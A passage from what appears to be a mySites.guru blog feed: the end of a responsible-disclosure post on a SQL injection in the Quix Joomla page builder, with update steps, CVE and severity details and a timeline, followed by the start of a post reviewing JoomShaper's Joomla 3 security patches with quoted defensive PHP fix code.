&lt;p&gt;That last error-disclosure fix is worth pausing on, because it is the mechanism this whole post rests on. The reflected database error is what made the injection error-based instead of blind, handing an attacker the data in the response rather than making them tease it out. Quix 6.2.1 closes the injection and stops the endpoint reflecting internal errors, so the same class of mistake elsewhere in the component has lost its loudspeaker.&lt;/p&gt;
&lt;p&gt;ThemeXpert also hardened the bundled JMedia media manager across two releases: &lt;strong&gt;1.6.0&lt;/strong&gt; blocks executable and polyglot uploads (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60032&quot;&gt;CVE-2026-60032&lt;/a&gt;) and closes a remote-URL SSRF (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60033&quot;&gt;CVE-2026-60033&lt;/a&gt;), and &lt;strong&gt;1.6.1&lt;/strong&gt; sanitises uploaded SVG and serves files with hardened headers to close a media-picker XSS (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60034&quot;&gt;CVE-2026-60034&lt;/a&gt;). If you run JMedia, update it to 1.6.1 too.&lt;/p&gt;
&lt;p&gt;We are not publishing exploit detail or a proof-of-concept for any of the others, for the same reason we are not publishing the SQL injection request: the fix is out, and the useful thing now is that you install it. Updating to 6.2.2 closes all seven.&lt;/p&gt;
&lt;h2&gt;Credit where it is due&lt;/h2&gt;
&lt;p&gt;We gave ThemeXpert a private report and withheld all public detail while they worked. They never needed the window. Quix 6.2.1 shipped the same day we reported, with the id cast to an integer and the injection closed, and 6.2.2 followed the next day to close the last of our findings. ThemeXpert credited mySites.guru for the find.&lt;/p&gt;
&lt;p&gt;That is the right response, and worth saying out loud. Plenty of vendors sit on a report for weeks. A same-day turnaround on six separate security findings, with the seventh shipped the day after, from a private report to a pair of releases, is at the far end of good. Our thanks to the ThemeXpert team, and to their CTO Abu Huraira Bin Aman, who confirmed each fix back to us directly.&lt;/p&gt;
&lt;p&gt;ThemeXpert is not the exception this month either. Most of the developers we have responsibly disclosed to during this run have responded the same way: grateful, quick to thank us, and shipping a fix promptly. The right thing for site owners to do in return is simple: apply the update they shipped.&lt;/p&gt;
&lt;h2&gt;SQL injection is a recurring theme right now&lt;/h2&gt;
&lt;p&gt;This Quix flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt;, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular calendar and events extensions for Joomla. Fixed in 10.11.2 and 8.19.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). The same shape again in one of the most popular newsletter extensions for Joomla, and because it shares a codebase, the WordPress plugin too.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;&lt;/strong&gt;. Another unauthenticated SQL injection from the same run, this time in a document-management component.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The month of Joomla disclosures&lt;/a&gt;&lt;/strong&gt;. Quix is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt;&lt;/strong&gt;. The underlying pattern, and why front-end element endpoints like Quix&apos;s keep producing this bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The lesson is not &quot;avoid page builders&quot;. The reputable ones are well maintained, and this vendor fixed the issue when told. The lesson is that any extension exposing a front-end endpoint to anonymous visitors is attack surface, and keeping those extensions updated is security-critical, not just feature maintenance.&lt;/p&gt;
&lt;h2&gt;How do you update Quix safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull Quix 6.2.2. If it does not appear, use Find Updates, or download the latest package from your ThemeXpert account and install it over the top. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade Quix across every affected site from a single dashboard&lt;/a&gt;. You can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then Quix, and check the version shown is 6.2.2 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every Quix site I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for Quix once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Quix install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Quix across every connected Joomla site and filter for anything on 6.2.1 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout: tick the sites on an old version, push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run Quix, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why page builders are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Page builders make attractive targets for the same reason they are useful: they render their content through front-end endpoints that anonymous visitors are meant to reach. An element that loads an article, a form that accepts a submission, a widget that fetches data, none of that can require a login, because the whole point is that visitors see it.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping or casting, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, template frameworks like &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, calendar tools like &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, and newsletter systems like &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;: a public task that reaches a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not &quot;avoid page builders&quot;. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. An extension two versions behind is not a cosmetic problem.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Quix flaw is disclosed, you see exactly which sites are exposed in seconds, without opening a single admin panel to check.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running Quix Page Builder to &lt;strong&gt;6.2.2&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request with no privileges and nothing stolen first. The Joomla CNA scored it CVSS 4.0 8.7, High. What comes out is every user record, every password hash, and other Joomla API secrets.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;CVE-2026-58078, scored by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated and exploitable over the internet, ending in full read access to the site database. Being error-based makes exploitation trivial: the data returns in the response, one value per request.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This vulnerability is tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58078&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/strong&gt;, assigned on 16 July 2026 by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, the body that assigns identifiers for Joomla and its extensions, crediting Phil Taylor of mySites.guru as the finder. The Joomla CNA also assigned CVEs for the other issues we reported in the same disclosure: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60026&quot;&gt;CVE-2026-60026&lt;/a&gt; to &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60031&quot;&gt;CVE-2026-60031&lt;/a&gt; for the remaining six Quix findings, and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60032&quot;&gt;CVE-2026-60032&lt;/a&gt; to &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60034&quot;&gt;CVE-2026-60034&lt;/a&gt; for the three JMedia findings.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58078&quot;&gt;CVE-2026-58078&lt;/a&gt; (assigned via the Joomla CNA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Quix Page Builder for Joomla (&lt;code&gt;com_quix&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;ThemeXpert (&lt;a href=&quot;https://www.themexpert.com/&quot;&gt;themexpert.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated, error-based SQL injection (CWE-89)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt; (Joomla CNA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt; (Improper Neutralization of Special Elements used in an SQL Command)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;6.2.0 and all earlier versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;Quix 6.2.1 (this SQL injection); update to 6.2.2, which closes a further issue we reported&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The disclosure ran on an unusually short cycle from audit to fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;14 July 2026&lt;/td&gt;
&lt;td&gt;ThemeXpert ships Quix 6.2.0, a release whose changelog opens &quot;Completed a full security audit of the extension&quot; and describes hardening every front-end API endpoint, input handling and output escaping, and file, URL and database query handling across the component.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026&lt;/td&gt;
&lt;td&gt;During routine security research on the extensions our customers rely on, mySites.guru audits that build and identifies the unauthenticated SQL injection, confirms it against the code, and proves it on a local test install that reads database contents back through a single anonymous request. The issue is disclosed privately to ThemeXpert alongside six further security findings, with all public detail withheld.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026&lt;/td&gt;
&lt;td&gt;ThemeXpert ships Quix 6.2.1 the same day, casting the article id to an integer and closing the injection, along with fixes for five of the other six issues we reported and hardening of the bundled JMedia media manager. mySites.guru adds Quix to its Joomla extension vulnerability database so every connected site below the fix is flagged, and requests a CVE through the Joomla CNA. No proof of concept is released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 July 2026&lt;/td&gt;
&lt;td&gt;ThemeXpert ships Quix 6.2.2, closing the seventh issue we reported, the unsanitised CSS ID and Class fields, and adding automatic cache clearing on update so the fixes take effect without a manual cache flush.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 July 2026&lt;/td&gt;
&lt;td&gt;The Joomla CNA assigns &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58078&quot;&gt;CVE-2026-58078&lt;/a&gt;, scoring it CVSS 4.0 8.7 (High) and crediting Phil Taylor of mySites.guru as the finder.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This Quix flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Our DPCalendar SQL injection disclosure&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of bug, in different extensions, found in the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review and rotate if a vulnerable extension was ever live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt; - the canonical references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.themexpert.com/&quot;&gt;ThemeXpert&lt;/a&gt; - the vendor&apos;s site, where Quix 6.2.2 is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>quix</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/quix-sql-injection-disclosure.a52rFxjl.png" length="0" type="image/png"/></item><item><title>JoomShaper Patched the Joomla 3 It Said It Never Would</title><link>https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/</link><guid isPermaLink="true">https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/</guid><description>Six days after ruling out Joomla 3 security patches regardless of severity, JoomShaper shipped them for Helix Ultimate, Helix3 and SP Page Builder. What is in them.</description><pubDate>Wed, 15 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Six days ago, JoomShaper told everyone still running Joomla 3 exactly where they stood. The &lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;announcement&lt;/a&gt; listed what Joomla 3 users could expect from the company, and the third bullet was the one that mattered: &quot;No security patches, regardless of severity.&quot;&lt;/p&gt;
&lt;p&gt;Today, JoomShaper &lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;released security patches for Joomla 3&lt;/a&gt;. Helix Ultimate, Helix3 and SP Page Builder, all three of them, for the version of Joomla the company had just finished writing off.&lt;/p&gt;
&lt;p&gt;That is the right call, and it arrived quickly. It is also a straight reversal of a position that was six days old, and if you manage Joomla 3 sites it changes what you should do this week. So we downloaded the packages and read the code rather than the announcement.&lt;/p&gt;
&lt;h2&gt;What JoomShaper Shipped for Joomla 3&lt;/h2&gt;
&lt;p&gt;Three separate patches, released today:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Product&lt;/th&gt;
&lt;th&gt;Joomla 3 patch&lt;/th&gt;
&lt;th&gt;Where it lives&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Helix Ultimate&lt;/td&gt;
&lt;td&gt;Security fixes v1.0.0, patching the plugin to a &lt;code&gt;2.1.4-j3sec&lt;/code&gt; baseline&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.0&quot;&gt;GitHub release tag&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Helix3&lt;/td&gt;
&lt;td&gt;Security patch v1.0.0, plugin and template to 3.1.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/JoomShaper/Helix3/releases/tag/j3-security-v1.0.0&quot;&gt;GitHub release tag&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SP Page Builder&lt;/td&gt;
&lt;td&gt;The existing manual patch, now installable through Joomla&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension/sp-page-builder-joomla-3-security-patch&quot;&gt;JoomShaper site download&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The SP Page Builder entry comes with an admission worth reading twice. JoomShaper says it &quot;released the SP Page Builder security update for Joomla 3 a while back, but it had to be applied manually&quot;, and today&apos;s release just makes that same patch installable through the extension installer. So a Joomla 3 security patch for SP Page Builder already existed at the point the company announced there would be no Joomla 3 security patches, regardless of severity.&lt;/p&gt;
&lt;p&gt;These are security-only releases. JoomShaper is explicit that no other bug fixes are included, and the rest of the 9 July position has not moved: no new features, no bug fixes, no technical support, and migrate as soon as you can. The security-patch line is the part that changed.&lt;/p&gt;
&lt;h2&gt;What To Do About It Today&lt;/h2&gt;
&lt;p&gt;If you run Joomla 3 sites with any of these three extensions on them, the job this week is short: work out which sites are affected, get the patch onto them, and then check whether anything got in during the window when they were open.&lt;/p&gt;
&lt;p&gt;The first part is the part that does not scale by hand. mySites.guru keeps a live inventory of every Joomla and WordPress site in your account with the core version and full extension list for each, so you can filter for Joomla 3 sites, search for Helix or SP Page Builder, and see the real list rather than guessing from memory. It &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;flags end-of-life versions automatically&lt;/a&gt; too, so the exposed sites surface on their own.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;See which of your sites this actually affects&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Filter for Joomla 3 and search for Helix or SP Page Builder. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The second part is where the vendor route gets tedious. Look at what JoomShaper&apos;s own instructions actually ask of you: download three separate zip files from three different places, two GitHub release tags and a site download, then log into every single Joomla site you manage and upload each patch by hand through the extension installer. For one site that is a coffee break. For forty Joomla 3 sites with a mix of these three extensions on them, it is a day you were not planning to spend, and it is the kind of job where site thirty-seven gets skipped and nobody notices until something else does.&lt;/p&gt;
&lt;p&gt;The day before this reversal, we shipped &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;our own tool that backports JoomShaper&apos;s fixes into the Joomla 3 builds&lt;/a&gt;, because at that point the vendor had said the fixes were never coming. They have now come, and we are not going to pretend that is bad news: a vendor patch is better than a third-party guard, and if the official patch installs cleanly on your site, take it. What our toolset saves you is the legwork. One toggle applies the fix logic for every affected JoomShaper product across every site in your account at once, with a backup taken first and a one-click revert, instead of three downloads and forty logins.&lt;/p&gt;
&lt;p&gt;What neither route changes is the gap people keep walking into. Patching closes the door. It does not evict whoever is already inside.&lt;/p&gt;
&lt;h2&gt;What Is Actually in the Patch&lt;/h2&gt;
&lt;p&gt;We read the code, and the fixes are real ones rather than cosmetic hardening. The Helix3 AJAX plugin is the clearest example, because it is the entry point behind &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49049&quot;&gt;CVE-2026-49049&lt;/a&gt;, the flaw we disclosed and the doorway for the AntonKill defacement wave.&lt;/p&gt;
&lt;p&gt;The patched plugin now runs a deny-by-default allowlist. Every action is checked against a list of permitted names before anything happens, and anything unrecognised is rejected outright. The write actions, &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt;, &lt;code&gt;load&lt;/code&gt;, &lt;code&gt;resetLayout&lt;/code&gt;, &lt;code&gt;import&lt;/code&gt;, &lt;code&gt;updateFonts&lt;/code&gt; and &lt;code&gt;fontVariants&lt;/code&gt;, now go through a single gate that demands both a valid CSRF token and real administrator permission:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function requireAuthorisedAdminRequest()
{
  $user = $this-&amp;gt;getCurrentUser();

  if ($user-&amp;gt;guest || (!$user-&amp;gt;authorise(&apos;core.admin&apos;) &amp;amp;&amp;amp; !$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;))) {
    $this-&amp;gt;sendJsonError(Text::_(&apos;JERROR_ALERTNOAUTHOR&apos;), 403);
  }

  if (!Session::checkToken(&apos;request&apos;)) {
    $this-&amp;gt;sendJsonError(Text::_(&apos;JINVALID_TOKEN&apos;), 403);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the correct fix. The original flaw was an anonymous visitor reaching those actions with no token and no permission check at all, and this closes it at the right point.&lt;/p&gt;
&lt;p&gt;The rest is the same standard applied consistently. Layout filenames are sanitised down to alphanumerics, hyphens and underscores, then resolved with &lt;code&gt;realpath()&lt;/code&gt; and confirmed to sit inside the layout directory, which kills the traversal. Image uploads are restricted to an extension allowlist. Raw &lt;code&gt;$_POST&lt;/code&gt; access is replaced with Joomla&apos;s input filter. Imports and layout saves are capped at 1MB. The public voting action gets a token and a rate limit of five votes a minute.&lt;/p&gt;
&lt;p&gt;Helix Ultimate gets the same treatment across a wider surface: an open redirect fix on the &lt;code&gt;helixreturn&lt;/code&gt; login flow, central token and permission enforcement on the AJAX actions, upload hardening, and output escaping through the mega menu. Every menu field, the title, anchor attributes, icon and image classes, is now run through &lt;code&gt;htmlspecialchars()&lt;/code&gt;, with dedicated sanitisers for badge text and colours. That is the stored cross-site scripting hole in the site chrome being closed at the output end.&lt;/p&gt;
&lt;h2&gt;The Version Gate Nobody Mentions&lt;/h2&gt;
&lt;p&gt;The announcement does not mention this, and it is the thing most likely to bite an agency planning a patching round.&lt;/p&gt;
&lt;p&gt;The Helix Ultimate Joomla 3 patch checks what you are running before it will touch anything. Its installer declares a supported range and refuses everything outside it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const HELIX_BASELINE = &apos;2.1.4-j3sec&apos;;
const SUPPORTED_HELIX_MIN = &apos;2.1.0&apos;;
const SUPPORTED_HELIX_MAX = &apos;2.1.4-j3sec&apos;;
&lt;/code&gt;&lt;/pre&gt;
